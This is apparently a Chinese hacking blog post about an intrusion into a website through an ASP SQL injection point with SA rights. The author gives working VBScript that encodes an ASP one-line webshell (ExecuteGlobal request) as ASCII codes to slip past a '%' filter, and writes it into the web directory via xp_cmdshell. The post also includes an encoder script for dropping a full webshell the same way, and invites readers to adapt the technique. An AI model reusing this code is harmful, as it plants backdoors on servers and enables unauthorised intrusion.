今天小组人员一起搞站,asp脚本的一个sa权限的注入点,可是在echo一句话小马的时候出现了问题。%%以及里面的内容被过滤了。shell传不上去。ftp传不了,vbs下载也没有成功。不知道是%被过滤了,还是是被web防火墙拦截了。最后想了下,用vbs写了一个脚本。
脚本内容如下:
echo Dim str:str="60 37 69 120 101 99 117 116 101 71 108 111 98 97 108 32 114 101 113 117 101 115 116 40 34 49 34 41 37 62":>c:\希特勒.vbs
echo Set fso=CreateObject("Scripting.FileSystemObject"):Set otfuser=fso.OpenTextFile("D:\Ittms-Web\common\images\shell.asp",2,true):For i = 0 To UBound(Split(str, Chr(32))):otfuser.write(Chr(Split(str, Chr(32))(i))):Next >>c:\希特勒.vbs
其中str为 <%ExecuteGlobal request("1")%>的asc码的形式。
传到服务器上,然后用xp——cmdshell执行cscript write.vbs结果成功的将一句话木马写入到了D:\Ittms-Web\common\images\目录中
然后我们再将大马转码一下然后赋值给str就行了,传到服务器中,直接运行就ok了。
转换成asc码的代码如下:
Set fso=CreateObject("Scripting.FileSystemObject"):
Set otfuser=fso.OpenTextFile("shell.asp",1,false):
Set savetext = fso.OpenTextFile("encode.txt",2,false):
Dim retstr
Dim readstr
Do While otfuser.AtEndOfLine <> True
readstr=otfuser.readline()
retstr = retstr&Str2Asc(readstr)&Asc(vbcrlf)&" "
Loop
savetext.write Trim(retstr)
Function Str2Asc(str)'sql的16进制转换函数
Dim s
For i = 1 To Len(str)
s = s & Asc(Mid(str,i,1))&Chr(32)
NExt
Str2Asc = s
End Function
脚本很简单,根据实际情况 活学活用吧